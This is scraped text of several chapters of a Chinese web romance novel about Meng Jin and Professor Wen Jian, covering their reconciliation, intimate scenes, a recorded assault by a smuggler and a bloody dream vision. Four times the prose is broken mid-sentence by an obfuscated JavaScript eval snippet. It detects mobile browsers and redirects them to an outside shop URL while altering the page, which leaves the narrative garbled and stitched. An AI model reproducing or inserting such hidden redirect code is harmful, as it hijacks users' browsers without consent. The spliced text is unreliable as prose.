孟瑾一眨不眨抬起头,眼睛盯着闻女士温柔含笑的眼眸,就在这一刻,在这一瞬间,眼眶突然开始发热,耳边嘈杂的声音也很恍惚。 她咽了咽有点哽咽的喉咙。 然后,她突然很想哭。 这是外婆走后这么多年,她第一次这么强烈地想在别人面前哭,想卸下自己所有的伪装,趴在对方怀里好好哭一场。 不知过了多久。 “好,谢谢妈妈……”孟瑾终于慢慢平复了心里的冲动,声音小小地笑着说:“我不会再懦弱了。” 闻女士也看着她,弯眼笑起来,声音有些哽咽:“好,好好,勇敢做自己就好。” 说着,心疼地伸手将她揽进怀里,抱了只小动物似的,一下下轻拍着她的背:“我女儿是全世界最好最棒的姑娘,有妈妈在,以后谁也不敢再欺负你。” 孟瑾抽着鼻子笑了笑,乖巧地点头。 接着,两人又去别的地方逛了逛,去吃了火锅,看了电影,还去游乐场玩了碰碰车。 期间闻见不止一次打电话过来,但是孟瑾还没顾上接,就被闻女士伸手过来给挂了。 她还说,女孩子不能太心软,不然男人就不会懂得珍惜,不知道你有多重要。 闻女士最后又说:“没事,不用管他,让他自己着急去。晚上回去你也别理他,他才知道自己到底错在哪了,知道吗?” 孟瑾认真听着,然后笑着点头:“好,我知道了。” 心里又有些感慨地想,原来有爱的家庭氛围是这样的,闻女士之所以对她这么好,应该也是爱屋及乌吧。 那天她们在外面玩了很久,直到夜里十点多,孟瑾才打车送闻女士回去,闻女士下车后笑着嘱咐她回去给自己发消息。 孟瑾点头应下,回到家第一件事就是掏出手机给闻女士发语音:“妈妈,我已经到家了,你放心休息吧,晚安。” 话没说完,余光就瞥见沙发上的闻见起身走了过来。 他身上穿着宽松的白衬衫,若隐若现的肌肉线条看着很明显,可能刚洗完澡,额前的碎发还在滴滴答答落着水珠,领口两颗扣子解开,在客厅昏黄的灯光映衬下,显得他的喉结轮廓格外好看。 可能是放松了一天,心情比较好的缘故,又或者是闻女士说的那句“不要做胆小鬼”的话。 孟瑾突然想做一些不一样的事儿,她自顾自熄灭了手里的手机,抬头看过去,眼里含着浅浅的笑。 看着情绪很不错的样子。 “怎么那么开心,去看电影了?”闻见走到她跟前,笑着开口问一句。 孟瑾又垂下眼去,手指随便划拉着手机屏,说:“你猜。” 闻见说:“肯定去看电影了,还吃了好吃的,应该是火锅吧,我都闻到了。” 什么就闻到了,你礼貌吗? 合着别人家老婆都是香香软软的,就你老婆是火锅味的呗? 孟瑾侧目看他一眼,然后什么也没说,直接抬脚给了他一下。 闻见被她逗笑了,故意很夸张地往后退了一步,随即又凑过来,两人间的距离不足一指。 他垂眼看着她精致好看的侧脸轮廓,和那一直在手机上划着仿佛很忙,却不知道在忙什么的细白手指,好一会儿,忽然抬手帮她理了理耳侧的碎发。 因为方才洗了澡,闻见的手指还有一点凉,蜻蜓点水似的在她耳侧轻轻一触,孟瑾猝不及防,整个后颈都酥酥麻麻的窜起一阵电流。 她抿了抿唇,抬头看来,一双内勾外翘的丹凤眼发着璀璨的光。 “怎么了?”孟瑾问。 闻见眼睛仍是一眨不眨盯着她,他轻轻咽了咽喉咙,抬手抚上她细软腰肢的同时,低声说:“小瑾,早上你答应让我亲你的。” 孟瑾也看着他,同样小声:“嗯,早上不是亲过了?” 闻见沉默了下,看着发梢上的一颗水珠不偏不倚落到孟瑾的唇上,他又说:“亲了,但是没亲够。” 孟瑾一愣,倒是没想到,他会说出这么苏感的话。 虽然周遭只有他们两个人,但还是让她挺意外的。 她抿了抿唇,没有说话,只弯着眼睛笑了笑。 安静须臾,孟瑾忽然感觉腰间被人用力一搡,她整个就被闻见抱进怀里了,“再亲一下,好不好?” 他低头瞧着她说。 身体贴合,气息纠缠,孟瑾抬眸看去,眼神与他相接。 她感受到了两人渐渐升高的体温,还有某人又快又重的心跳。 她伸手勾住他的脖子,话说地故意:“可是妈妈说叫我不要理你,不然你不知道自己错哪了。” “我知道。” “嗯?” “是我太懦弱了,”闻见说:“我应该早点表明自己的心意,早点十次,百次,千万次的告诉你,离了你我真的会死。” “我应该早点给你拥抱,给你鼓励,让你知道,让你相信,我会一直跟着你,陪着你,无论将要面对什么样的结局,你都不是一个人,你还有我,还有我心里从未改变,至死不渝的爱。”他说着轻轻笑了笑,眼眶有点红。 孟瑾听着他的话,感觉自己不光是身体的温度在渐渐升高,心里似乎也暖了起来。 就仿佛……仿佛有一团暖呼呼的火在烧。 她眨了眨亮亮的眼眸,抬头在他唇上亲了一下,闻见低头要亲回来,她就故意往后躲着不给他亲。 闻见抬头笑了笑,说:“真不想理我?” 孟瑾想了想,摇头:“不是。” 闻见:“那怎么不让我亲?” 孟瑾:“我又不喜欢你,干嘛让你亲?” 闻见:“你骗我。” 他说着将她拦腰抱起放到鞋柜上,与自己面对面,目光对上,然后轻轻凑近亲了亲她的鼻尖儿。 孟瑾看着他,挑了挑眉:“说什么?” 闻见不好意思地轻咳一声,实话说:“闻女士说,你如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13130198|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果不喜欢我,是不会允许我靠近的。而且我每次受伤你都那么着急,我就知道了。” 孟瑾很不客气地嗤笑一声,看着他矢口否认:“闻教授,你说有没有那么一种可能,因为咱俩是合作关系,我怕你受了伤我还得照顾你,所以表现的比较着急?” 闻见:“那你为什么不反感我靠近?” 孟瑾笑:“因为我还住着你的房子,我怕你不高兴把我撵出去,我就又无家可归了呀。” “说的还挺有道理,但是我不信。”闻见一边低头吻上她白皙如雪的侧颈,一边解开腰带脱掉她身上的外套,声音含糊道:“小瑾,你放心,没有经过你的同意,我不会对你做什么的。” 衣料摩擦,亲吻喘息。 十指相扣,身体紧贴。 一切都恍惚的像在做梦。 一切却又那样真实,真实的让人沉醉。 让人无法抗拒。 孟瑾半仰着头,感受着,微喘着,她想,她会永远记得闻见用力抱着她的这一刻,用力到几乎要将她揉进他的身体,仿佛下一秒,两人就会合二为一,成为彼此,成为永恒的一体。 不知多久,孟瑾回过神来,声音很低很低地喘息道:“闻见,我……我同意,回房间吧。” 闻见闻言,继续往后的动作一顿,脑门靠着她的颈窝缓了一会儿,滚烫的大手也慢慢从她腰侧的打底衫退出来。 “小瑾,你……你说什么?”他贴着她的耳垂轻轻地问。 孟瑾抬手抱住他的脑袋,侧头亲了亲他的耳,感受着他滚烫炙热的呼吸。 又过了好一会儿。 她笑着开口,声音还是止不住地颤栗:“我说,阿见,我想跟你回房间,想真真正正的嫁给你,做你的老婆。” 孟瑾红红的眼眸看着他,话说完,刚好一颗泪珠从她眼角滑下,落到他的脸颊上。 闻见蓦地站起来,亮亮的瞳仁定定看着她,他的眼睛也湿湿的,下意识抬起来帮她擦眼泪的手都在不受控地颤抖,“小瑾,我我不是在做梦吧?” 接着又问:“你,你是说……你是说你愿意嫁给我?愿意真的做我老婆,是么?” 孟瑾侧头把脸埋进他怀里,哑声笑道:“不知道,某人要是再不回房间的话,我就没说过。” 闻见扑哧笑了一声。 再不敢磨蹭,忙将她打横抱起来,又忍不住低头吻着她的唇。 回到房间不知多久。 他才小心翼翼将怀里姑娘放到枕头上,伸手取下她脑后的发簪,看着那柔顺至极的烟灰发丝缓缓散开,滑过他的指尖落到枕头上。 闻见终于如梦方醒般眨了一下眼睛,他低头看着怀里姑娘湿漉漉的眼眸,轻轻舔掉她脸颊滑落的泪珠,声音小小的,哄小孩一般,贴着她的耳垂说: ”孟瑾,我爱你,你要记得我爱你。” “我这一生从不信任何宗教神明,但我信你。” “因为你是我的信仰,永恒的,绝对的,无解的信仰。” 49.第 49 章 然而,令闻见没有想到的是,他说完这些话,不但没有得到孟瑾的任何回应,甚至她柔软至极的身体,也在刹那变得冰凉,变得僵硬,变得让他不知所措起来。 他感觉到怀里的姑娘在不停颤抖,很轻很轻的,不停颤抖,不停抽搐。 像是冷极了,又像是痛级了。 他听到她喉间有呜咽的声音,低低软软的,伴着一颗颗的眼泪砸到他的身体上,痛到他的四肢百骸都在跟着她一起颤抖。 闻见不知道孟瑾怎么了,他也不知道自己要怎么做,怎么说才能哄好她。 他只是紧紧地抱着她,亲吻她身上每一寸肌肤,亲吻她的每一寸冰凉,他试图用这种方式了解她,探索她,探索她的心。 他想知道她到底怎么了。 可是,那晚他想了所有能想到的办法,用尽浑身解数,最终也没透过她的肌肤看到她的心。 他什么都不知道,什么都做不了。 甚至到了最后,他终于彻底无法自制的哭起来,哭的比她更凶,他紧紧地抱着她,趴在她怀里,哭得像个找不到家的孩子一样。 孟瑾察觉到,问他怎么了。 他也说不出来,他无法向她诉说心里的心疼和愧疚,他怕孟瑾会云淡风轻给他来一句:我又不喜欢你,你愧疚什么? 他好恨自己,恨自己当初为什么那么不自信,不勇敢,让她一个人在异国他乡,在别人身边,在一个根本就不懂爱的人身边受了那么多苦。 他却什么都做不了,什么都不知道。 就连知道孟瑾喜欢他这件事,都是昨天她跟闻女士出去,他一个人太想她,太煎熬,所以没忍住去了她的房间。 吱呀一声,门被推开,闻见侧身靠着门框,屋里收拾的整整齐齐,很干净。 干净地好似一个样板间,没有一点她在过的痕迹。 空气里还飘着一股淡淡地蜜桃香,似乎在掩盖她昨晚抽过烟的痕迹,闻见闻着,却莫名觉得胸口堵得慌。 他忍不住偏头咳了几声,脑子里突然闪过什么,闻见一滞,蓦地跑到床边,打开孟瑾的床头抽屉。 因为就在刚刚,他忽然想起来,孟瑾那天在“千年楼”茶室,准备跟卓阳走的时候跟他说自己送她的那个随身听,她放在床头第二个抽屉的红色小盒子里。 闻见知道,在那么紧要的关头孟瑾说的话必然不止表面那么简单,她肯定是在暗示他什么。 但此刻,他的脑袋里就像被灌了浆糊似的,百思不得解,所以闻见思量再三,最终还是打开了孟瑾的小盒子,拿出里面被抚摸过无数遍,看着边缘都有些掉漆的那只白色小随身听。 看了半天,也没看出什么。 盒子里除了随身听和耳机线,也没别的。 闻见眯了一下眼睛,盒子里没有,随身听也还是原来的那只,那会不会是…… 一瞬间,仿佛打开了任督二脉。 他扶着床爬起来,手忙脚乱给随身听冲上电,一阵乌泱泱的嘈杂声后,他听见宋天宇大着舌头,好像喝醉了的声音说:“你……你不知道,我家老爷子的那些宝贝,要是卖出去一件,咱俩十辈子都,都花不完。” 孟瑾不太在意地“哦”一声,问他说的是什么东西。 宋天宇笑着走过来,声音更含糊地说:“当然是从国内弄来的那些宝贝啊,现在风声太紧了,等过几年,你跪着舔哥,哥都不一定能看得上你。” ”让你陪着喝点酒又不亏,啧啧,你老摆张臭脸给谁看呢?” 接着,闻见听到很明显的,孟瑾倒抽了一口凉气,声音再次模糊起来,孟瑾一边忍着对方毫无预兆扑过来地强迫,一边很费劲地继续问:“你的意思是……是你们家有古董?是走私来的?” 宋天宇被扫兴了似的“哎呀”一声说:“怎么那么烦?每次来找你都有那么多问题,问问问,以为自己是警察么?老子就是走私了又怎么样?你有本事现在就把我抓过去枪毙!判死刑啊! Ok?” 话说完,一声清脆的巴掌就落到了孟瑾脸上。 刹那间,闻见整个人都愣住了。 手里的随身听无声无息掉到床上,捏着随身听的手也随着软下来的胳膊“啪”地一声掉到床头柜上。 他的脑袋里还飞速旋转着刚刚两人的对话,默然砸下的眼泪已经滑到了脸庞:“小……小瑾,你心里藏着这么多事,为什么不跟我说?” 他有些不知所措,心里的心痛和震惊反复交织,他抬头看着窗外阴沉沉的天,下意识掏出手机,下意识给孟瑾打过去。 打了一遍又一遍,孟瑾始终都没有接。 他狠狠攥了一下不停颤抖的手,让自己勉强冷静下来,踉跄着起身要去找她,却被随身听里忽然响起的另一段录音蓦地拉回了思绪。 这回是孟瑾一个人,背景音也有点吵,淅淅沥沥的似乎在下雨。 但她的声音听着很清明,说话前还自顾自哼了几句歌:“怀抱既然不能逗留,何不在离开的时候,一边享受,一边泪流。” “大班长,好久不见,我是孟瑾,你还记得我吧?你知道我为什么给你唱这首歌吗?”孟瑾说着,笑了笑,又道:“算了,不知道也没关系,因为我自己也不知道——听到这段录音,你大概已经知道我找你是什么事了?没错,就是找你帮忙的。” 接着,便是这些年她零零散散收集的证据,以及宋天宇家具体是干什么的,他们的东西可能会藏在哪等,很多信息。 还说让他千万要小心,千万不要直接去报警,匿名交给警方就可以了,她之所以会把东西寄给他,不是直接寄去警察局,只是好久没见老同学,想寒暄两句,没有别的意思。 孟瑾说到最后,忽然很轻很细微地抽了一下鼻子,似是看着窗外的雨有些伤感,好一会儿,她才又说:“大班长,我突然想起来一件事,这么多年了,也不知道你还在不在咱们之前那个小区,随身听寄回去,你可能都……都收不到了吧?” “那样也好,那样的话快递员就会直接把它交给警察了。” “闻见,”孟瑾那边默了好久,突然又唤了一声他的名字,她紧紧捏着手里的随身听,去到窗边,将自己整个都泡在雨里,闭了闭被打湿的眼睫,然后很轻很轻的,几乎用气音说:“闻……闻见,我好想你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孟瑾故意抬起眼睛瞪他,脸上的表情很淡定,眼里却闪过一丝不易察觉的笑意,很浅很浅的笑,但闻见还是能看出来,她心里是不反感他,不反感他靠近的。 虽然孟瑾在随身听里并没有直接说她喜欢他,可闻见还是在层层叠叠压来的后悔自责中,后知后觉反应过来,孟瑾好像……好像也是喜欢他的。 而且,而且还不比他喜欢她少。 只是孟瑾她太会骗人了,她甚至连自己都骗了过去…… 闻见想着,忽然侧头趴在她怀里,毛茸茸的脑袋蹭了蹭女孩儿香香软软的脖颈,却不抬头,也不说话。 整个人乖乖趴在她怀里,受了委屈的大狗狗似的。 孟瑾猝不及防,眨了眨眼睛,伸手推了几下也推不开。 她有些无奈,只好仰头靠到床头上,一边在心里想,闻教授这两天是不是有点怪,抛开昨晚那事儿不谈——因为昨晚其实是她先用了美人计来着。 光是他突然这么主动的态度就很不对。 “昨天你打电话我一直没接到,是有什么事情么?”沉默须臾,孟瑾还是想不到,就扯了扯被他牵着的手说:“怎么晚上回来也没听你说,你是不是又找朵朵了?” 她知道闻见的性格,他习惯什么事都站到对方的角度,替对方想,替对方考虑,所以如果不是听说了什么,他绝对不会变得这么快。 闻见闻言笑了一下,他抬头看来,眼圈好红:“小瑾,你是不是一直都觉得我很笨?” 50.第 50 章 闻见没头没尾问了这么一句,孟瑾却知道他说的是什么。 但她却不知道要怎么回答他的问题。 因为当初在高中,在他们的少年时代,尽管孟瑾一直知道他喜欢自己,尽管他把他所有的袒护和真心都给了她,给了她一个人。 孟瑾却从来没有给过他任何回应,甚至那时候很长一段时间里,她都是在利用闻见,利用他证明自己还是一个独立的个体,利用他证明自己还活着——所以她回答不了她“是不是一直觉得他很笨”的话。 如果换作她是闻见,她也一定认为自己是不喜欢他的,竟然知道对方不喜欢,那又何必再来纠缠。 但其实当初很多时候她都是故意的,孟瑾管那个叫自己的“恶趣味”,由于唐婉清从小到大的贬低打压式教育,和孟强东一直以来听之任之的不作为,孟瑾在家时情绪就一直被压着,得不到释放,也无处发泄。 因为在他们家无论任何大事小事,也不管是关于谁的事,都是唐婉清一个人做主,一个人说了算,孟瑾和孟强东连一句讨论权都没有。 就连孟瑾出门要穿哪件衣服,吃饭要夹哪道菜,她都不能自己做主,因此,她在学校才会显得有些叛逆、不服管教。 但是在别人面前,她也没做过什么特别离经叛道的事儿,唯独在闻见面前她有时才会表现出一些任性的,叛逆的,甚至是被称为“恶趣味”的情绪来。 比如知道他喜欢自己也从来不回应,比如大多时候她会默许他跟着自己,跟自己一起听歌看夕阳,一起检梧桐叶,一起淋雨,一起晒太阳等,很多很多并不起眼,却只有暧昧期的男女生才会做的事。 有时候孟瑾心情好还会很随意地抬头看回去,看着身旁高高瘦瘦不爱说话的那个少年,看着夕阳璀璨的光慢悠悠爬上他清俊的眉眼,她也会不自觉弯起嘴角,像其他十几岁少女一样,浅浅地露出一个笑。 闻见看到则会一秒愣住,反应过来,再笑着问她:“你,笑什么呢?” 孟瑾通常都是不回答的,但有时她也会假装很认真的想一下,然后配合着说:“感觉你还挺帅的。” 少年闻言一挑眉,他才不信她会觉得他帅。 是啊,闻大班长那么笨,他知道什么呢? 可是后来孟强东的离世,却让孟瑾突然意识到自己是个不祥的人,跟她有关系的人似乎都会遇到不好的事,她不能让闻见在跟着她。 还有一个原因是她要惩罚自己,惩罚自己再也不能露出那么灿烂美好的笑,她便在高三百日誓师大会那天彻底跟闻见断了交际,叫他以后再也不要来找她。 闻见在那个大雨滂沱的夜卑微挽留了她不知多久,可最终他的坚持还是没有抵过孟瑾的决绝,少年一声不吭垂着眸子,愣愣地,又过了好久好久,才轻轻点了一下头,哑声承诺道:”好,放心吧,我不会再纠缠你了……” 五个多月,整整五个多月,她与闻见再没有抬头看过对方一眼,也没说过一句话。 孟瑾其实并不知道,小说里写的那种一眼万年,在人潮汹涌的城市霓虹间一眼看见对方,哪怕只是一个模糊的身影。 都能让人呼吸顿住,心潮澎湃,到底是什么样的感觉。 但在高中毕业将要出国的前一天晚上。 在那个昏黄路灯的十字路口。 仿佛瞬间醍醐灌顶,她一下就懂了。 那种一眼万年心潮澎湃的感觉。 那天晚上她是去墓园给外婆和孟强东扫墓的,唐婉清没有陪她去,但她又哭哭啼啼的说让孟瑾必须去,因为她不能忘本,不能忘了外婆和孟强东对她的好。 孟瑾没什么意见,因为她不去,她就不用像电视剧里七八十岁的老太太那样,对着墓碑说一些有的没的的话,也不知道外婆和孟强东能不能听到,反正每次孟瑾自己听着都挺尴尬的。 所以她很配合地点点头,拿了一把伞就出门了。 孟瑾去的时候坐的是公交,因为墓园在郊区,她坐了一个多小时才到,回来的时候天已经快黑了,又一直在下雨,公交也没再开。 她抿抿唇,只好撑着伞一边走,一边在路上左右看着有没有还没下班的公交车。 直到快到小区的那个十字路口,孟瑾抬手捶了捶酸痛的大腿,正要扭头拐弯,目光却在瞬间定隔。 两三秒的样子,少女反应过来,原来刚刚与她擦肩而过的是闻见。 一瞬间,孟瑾只当是自己出现了幻觉。 淅淅沥沥的雨拍着手里的雨伞,路灯昏黄又明亮。 过路的人,来往的车,都变得模糊起来。 唯有余光里的那个少年,清晰的仿佛在她梦里出现过千百遍。 她的大脑一片空白,心脏痛到像是被人抓了一把。 闻见也在身后一两步停下了,但他没有回头,甚至一个眼神都没看过来。 与他并肩走着的还有闻女士,闻女士倒是回头看了,看完又看向自己身边的闻见,说:“好像是你同学,要打个招呼么?” 孟瑾闻言回过神来,机械的转头,拐弯,往前走,一边听见身后的闻见说:“不是,我不认识。” “我们快走吧,不然一会没位置了。” 孟瑾狠狠攥了一下手里的伞柄,指尖因用力过度变成不自然的白,砰砰乱跳的心脏也在瞬间沉寂下来。 如死了一般。 虽然她很清楚闻见是因为答应过她“再不会纠缠”,所以才说不认识她。 但当时的孟瑾还是很想吐槽一句:他怎么那么笨啊……他不知道自己要出国了么? 走着走着,孟瑾蓦地想起什么,转头跑过来,闻见果然还站在原地,没有离开。 可他到底还是没有跟她说一句话,看到孟瑾跑过来,闻见立马低头躲开视线,似是转身要走。 孟瑾呼吸一滞,这回不光是心脏,她整个人都如死了一般。 不知多久,孟瑾回过神来,一步一步踩着脚下的雨水转身回了家,也是那天,她决定以后再也不要回国来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152051|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再不要给自己和对方任何后悔的机会。 直至十年后的现在,孟瑾想起那个雨夜经历的种种所有,心脏还是会痛到不自觉狠狠缩紧,她还是会有一种逼近窒息的感觉。 所以她无法回答闻见,自己是不是觉得他很笨,因为有时候,他真的能在不自知的情况下把人气死。 孟瑾想到这儿,再次低头看去,记忆里少年青涩稚嫩的脸颊轮廓已经长成了大人模样,心智也比从前成熟了许多。 “不是说要吃饭吗?”孟瑾最终没有回答他的话,而是扯开话题说:“快走吧,吃完饭我还要干活呢。” 闻见笑了一下,倒也不强求:“好,你要穿裤子还是裙子?我去给你拿。” 孟瑾眨眼,这才想起来,他们昨晚是在闻见的房间,而她现在就连身上穿的这件T恤,都是闻教授的。 虽然但是……她也不能真让他去给自己拿衣服吧,外面穿的还好。 可是,她又想了想,感觉光穿一件外裤还是不太美妙的。 “……” 安静片刻,她忽然抬头瞪着他,声音不冷不热地问道:“干嘛来你房间?” 闻见一愣,完全没有跟上她的节奏:“什么?” 说着,才反应过来孟瑾说的是什么。 他抿了抿唇,由衷地知错就改:“现在回小孟老师的房间,还能收留我吗?” 孟瑾不知道他想让自己怎么回去,但是感觉到了诚意,她眼里浮起一抹玩味地笑,抬手支着下巴真诚发问道:“闻教授,你想让我裸/奔回去吗?” “……”闻教授默着声,没有说话。 像是被噎到了似的,他的脸庞以肉眼可见的速度成了淡红色,眼睛也自顾自转到一边,唯恐和她对视。 孟瑾看着,不知怎么,突然被他这“纯情”样儿逗乐了。 “宝贝儿,你的段位好低啊。”孟瑾一边笑着吐槽,一边把被子扯起来将自己裹好,又说:“麻烦把我送回去一下,谢谢。” 话没说完,眼前忽然闪过什么,瞬间拉走了她的注意力。 还是梦里出现过无数次的那片竹林,还是那位青衣长发貌若嫦娥的古代女子,东方圆月高挂,清风如丝,空气安静得落针可闻。 孟瑾在心里叹了口气,她每次来都能见到各种血腥无比的场景,也不知道这回又会是什…… 果不其然,没等她这口气彻底吐完,那位青衣女子已经径直向她走来,不顾孟瑾猝不及防的诧异表情,一把扯住她的手腕,像是知道孟瑾听不懂她的话,这次她一句话都没有说,而是直接拉着她往山上的方向去。 途经各种山鸟异虫,怪石飞兽她都不怕,一往无前地眼神坚定的一度让孟瑾觉着,这位苏小姐定是身怀各大门派绝世武功密集的,那种在世侠女。 突然,一道惊雷蓦地在面前炸开。 本就不好走的崎岖山路顷刻又被炸开了一条口子,大雨如注,狂风骤雨自四面砸下,周遭黑云团团压近,耳边也响起无数惨叫撕裂的声音。 51.第 51 章 刹那间,犹如天崩地裂,时光逆流,巨大的声播冲击撕裂耳膜,地上炸开的口子顷刻变成一道直达天际的闪电光布。 猝不及防的孟瑾下意识抬头,不多时,看见光布一幕幕闪现出模糊的画面,记忆深处的惨烈与眼前声嘶力竭的场景渐渐融合;大雨滂沱中苏家老小几百口人被砍头,粉蓝衣裙的小女孩杨秀儿被毫无人性的抛向空中,又被一刀破腹,鲜血漫天,惨叫声此起彼伏。 还有被万马踩身,尸骨无存死在那片诡异竹林中的白衣少年——谭延。 孟瑾细白的手指紧握成拳,额上的汗珠如断了线一般顺着她的侧脸一颗一颗无声落地,雨越下越大,缺氧和悲悯还有各种难言的情绪盘根错节交织在一起,导致她的胸口越堵越紧,几乎完全喘不上气,眼看肺的承受到了极限,她就要被自己活活憋死—— 光布中的画面突然变了,“砰”地一声巨响后,一群牵着骆驼马匹走在大漠荒烟中的人出现在眼前,画面刹那转而清明。 精神极度紧绷的孟瑾立刻反应过来,她睁大眼睛想看清是怎么个事,一边后知后觉,张嘴呼出一口带着血腥味的白气。 画面中的那些人表面看着都是普通商人,全副武装,戴着头巾,可是背后却又全都背着刀剑,一路走过,不论老幼,不辨男女,当真是神来杀神,佛挡杀佛。 山上的雨这会儿还没下完,不过比之前小了很多,带着土腥味的冷风呼呼呼地吹着,加上眼前毫无人性的烧杀掠夺,孟瑾一时只觉四下生寒,连身体里的血都仿佛被冻上了。 光布中的画面仍在继续,那些黑衣蒙面的人貌似都没有说话的习惯,交流只用眼神或手语,他们白天几乎从不停顿休息,只有到了夜半三更,确定方圆百里没有任何旁人时,才会稍稍放松警惕,停下来一边观察周围地形,一边少作休息。 突然,一位白发老人借着月色闯入视线中,他手里也牵着一匹戴铃儿的骆驼,走过来,看那些人都大眼瞪小眼的干坐着,没人说话,也没有东西吃。他便从自己肩上的白色大口袋里掏出几个烤馕似的饼笑着递过去,张嘴还没说话,一把锋利无比的砍刀已经朝他的侧颈砍了下去,伴着“难以置信”的颤抖惨叫声,将鲜血撒满脚下那片本是金色的沙土地。 …… 孟瑾人在幻觉里,整个身体都跟着脑中光怪陆离的画面颤抖抽搐,脸色惨白,额上的汗珠噼里啪啦砸下来,闻见紧紧抱着她,一手拿着帕子小心翼翼帮她擦着脸侧的汗,看着孟瑾这样,他都要难受死了。 “醒了……”孟瑾回神转了转眼珠,胸口还在剧烈起伏,声音低得也好似只有嘴唇在动——脑中残留的最后一个画面是;那位青衣女子拉着胳膊强行将她唤回神,然后捡起脚边的石头在地上写了一行字。 闻见点头“嗯”了一声,在窗外金红余晖落下地平线的一瞬间,轻轻凑近吻上她冰凉柔软的唇。 “闻教授,害怕么?” “不怕,我知道你不会再丢下我了。” 孟瑾闻言笑起来,她想说什么,奈何嘴被堵着发不出声音,闻见一手托着她的后脑,一手抱着她细软的腰,将她轻轻揽入怀中,一下下缠绵悱恻。 孟瑾知道,这是他在安慰自己惊鸿未定的心。 过了不知多久。 孟瑾率先回过神来,伸手抓住他搭在自己腰测滚烫的大手,轻轻捏了捏,适时地终止了将要进行的下一步。 闻见后知后觉,反应过来,慢腾腾抬头看着她,低声问:“你不想吗?” 此时,窗外的天已经完全黑了,对面楼上万家灯火,星星点点透过落地玻璃撒进来,显得整座城市恍惚又安静。 孟瑾没有回答,眼睛一眨不眨看着他。 闻见整个人隐没在黑暗里,高大的身体硬邦邦压/在她身上,周遭所有都是黑的,他浅棕色的瞳仁却很亮。 仿佛藏着满天星河的光。 还有他身上淡淡的洗衣液味道,也在没完没了往她鼻子里钻。 “好,不想也没关系,”闻见看着她亮晶晶的眼眸,轻声说:“我不会强迫你的。” 孟瑾:“……” 她也没说不想呀。 某人怎么这么死心眼? 但竟然气氛已经被打破了,孟瑾就趁机伸手把人推起来,她的脑袋直到现在还有些晕,体力也尚未恢复。 其实闻见要是不想起,她也推不起来。 然而奈何闻教授在“察觉”这方面又实在很聪明,刚刚几乎就在孟瑾捏他手的瞬间,他就立刻意识到对方有话要说。 所以不用孟瑾使什么劲儿,他自己就起身把窗帘拉上、灯打开,又去隔壁孟瑾的房间给她找了件宽松的睡裙,和她的笔记本一起拿过来,拉了张椅子坐到旁边,说:“小瑾,你想起来吗?不想的话,就你说我来记吧。” “我的字虽然没你的好看,但还是能认出来的。”他说着,抬头看来,一边故意很欠揍地笑着补一句。 毕竟当年整个高三文科(8)班,谁不知道他闻大班长的字好看? 孟瑾抬头瞪他,半晌,丢过去一句很随意的:“闭嘴吧。” 闻见弯眼笑起来,说:“刚刚是不是又见到那位青衣女子了?” 孟瑾接过他手里的本子,一边写着什么一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178338|136202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问:”你怎么知道?” 闻见:“我又不是每件事情都那么笨。” 孟瑾说:“没那个意思。” “什么?” 孟瑾抽空抬头看他一眼:“我没有说你笨。” 他就配合着点点头,表情看着并不信。 孟瑾没再就着那个话题说,她忽然严肃下来,抬头问他:“班长,你昨天看我日记了吗?” 闻见摆弄她衣服的手指微微一顿,然而又像是她的幻觉,很快,他就笑着摇摇头,表情语气都很随意:“没有,我都不知道你日记本放在哪里。” 他又抬头看过来,很认真地问:“还是你在日记里写什么了?关于我的么?” 孟瑾不假思索地摇头,仿佛觉得摇头没什么可信度,须臾,又淡淡回了一个字,“没。” 很多时候她都是理性又随意的,哪怕对方明明知道她在说谎,也会下意识觉得是自己想多了。 因为孟瑾她……真的是个很会骗人的小姑娘。 又或者,孟瑾真的没在日记本里写过什么,毕竟她喜欢他这个事,本就是他自己推测出来的。 孟瑾从来都没有说过。 闻见看着她在本子上写了一行字,似乎觉得哪里不对,片刻,又换了一种字体。 十来分钟的样子,孟瑾就在笔记本上密密麻麻写了好几张,他大概看了一下,那些字体分别是篆书、隶书、草书、楷书,行书等。 这些字体都是魏晋时期比较常见和流行的,由于当时战乱频发,书法货币都不太统一,有些有条件的人家从小便会让孩子学一些不同的语言书法,以备日后不时之需。 “班长,你认识这些字吗?”孟瑾写完又检查了一遍,觉得没什么遗漏的了才伸手把本子递过去,说:“这些字体好像都是魏晋时期的,但具体是什么意思我就看不懂了。” 她说着眨了下眼睛,然后转头看着什么也看不到的窗户,不轻不重补了一句,“你帮我看看吧。” 